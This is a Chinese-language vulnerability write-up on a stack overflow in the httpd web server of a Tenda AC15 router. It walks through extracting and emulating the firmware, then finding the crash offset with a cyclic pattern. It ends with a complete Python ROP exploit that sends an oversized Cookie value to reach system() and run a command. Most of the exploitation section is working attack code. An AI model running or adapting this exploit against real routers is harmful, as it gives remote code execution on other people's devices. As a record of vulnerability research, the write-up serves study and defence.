一、前言
漏洞产生的原因是未对用户的输入进行合理的限制而直接使用sscanf函数拷贝到栈上,从而引发的栈溢出。
二、固件提取
下载固件后,通过binwalk工具导出固件文件系统,进入squashfs-root文件夹。
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
cd _US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root/
三、固件仿真
用qemu用户模式、chroot启动/bin/httpd文件
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
输出"Welcome to..."后程序就卡这了,使用IDA定位字符串位置:
使用Keypatch将两个位置修改为#1跳出死循环
修改后:
再次执行程序,已经在正常监听端口了,但是IP不对:
需要新建一个名为br0的网卡:
sudo brctl addbr br0
sudo ifconfig br0 192.168.2.3/24
获取到本机ip
cp -rf ./webroot_ro/* ./webroot/
然后就可以打开web界面了
三、漏洞利用
cve公布的poc中知到漏洞点位于R7WebsSecurityHandler函数中,由于未对用户的请求进行合理的限制而直接使用sscanf函数讲用户输入复制到栈上。
没有限制用户输入的cookie的长度,sscanf在解析参数时没有限制参数的长度,导致栈溢出。
输入的url要进入if语句就得构造:/goform/xxxxx类似的语句
先用脚本使其出发栈溢出崩溃
import requests
URL = "http://192.168.2.3:80/goform/wdnmd"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)
启动
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
gdb调试断在退出函数时的地址
gdb-multiarch ./bin/httpd
target remote :1234
b *0x002ED18
continue
运行python脚本,发现程序并没有正常退出函数,而是断在了其他位置.
用bt发现0x2c5cc在溢出后被执行
看漏洞点,url中只要存在gif、png、js、css、jpg、jpeg这样的字符串就会
确定偏移量:
cyclic 1000
import requests
url = "http://192.168.2.3/goform/wdnmd"
cookie = {"Cookie":"password="+"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj"+ ".png"}
requests.get(url=url, cookies=cookie)
cyclic可以确定偏移量为444。
通过checksec检查http程序,发现开启了NX保护,所以无法直接在栈上执行shellcode,所以寻找gadgets来构造rop链。
利用思路:需要找到system函数地址,并将system函数地址存入某个寄存器,将system函数参数传入R0寄存器,并跳转到system函数地址所在的寄存器。
首先,确定system函数的地址需要先找到libc的基址,根据偏移再计算出system函数的真实地址。qemu-user模拟不支持vmmap指令打印内存信息,官方给出了说明:https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py。
所以我们使用puts函数泄露libc地址,gdb调试下断点到puts函数,可以看到地址为0xff60acd4,在IDA中查看puts函数的地址为0x35cd4,得到偏移量为:0xff60acd4 - 0x35cd4 = 0xff5d5000.而且需要说明的一点是,每次调试libc的基地址都是相同的,这是因为gdb调试的默认关闭了ASLR。
找gadget:
0x00040cb8 mov r0, sp; blx r3;
0x00018298 pop {r3, pc};
exp:
import requests
from pwn import *
cmd="echo hacker!"
libc_base = 0xff5d5000
system_offset = 0x0005a270
system_addr = libc_base + system_offset
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8
payload = "A"*444 +".png" + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
url = "http://192.168.2.3/goform/wdnmd"
cookie = {"Cookie":"password="+ payload}
requests.get(url=url, cookies=cookie)
4、参考链接
https://xz.aliyun.com/t/11793
https://zhuanlan.zhihu.com/p/468018356
0 评论
评论已关闭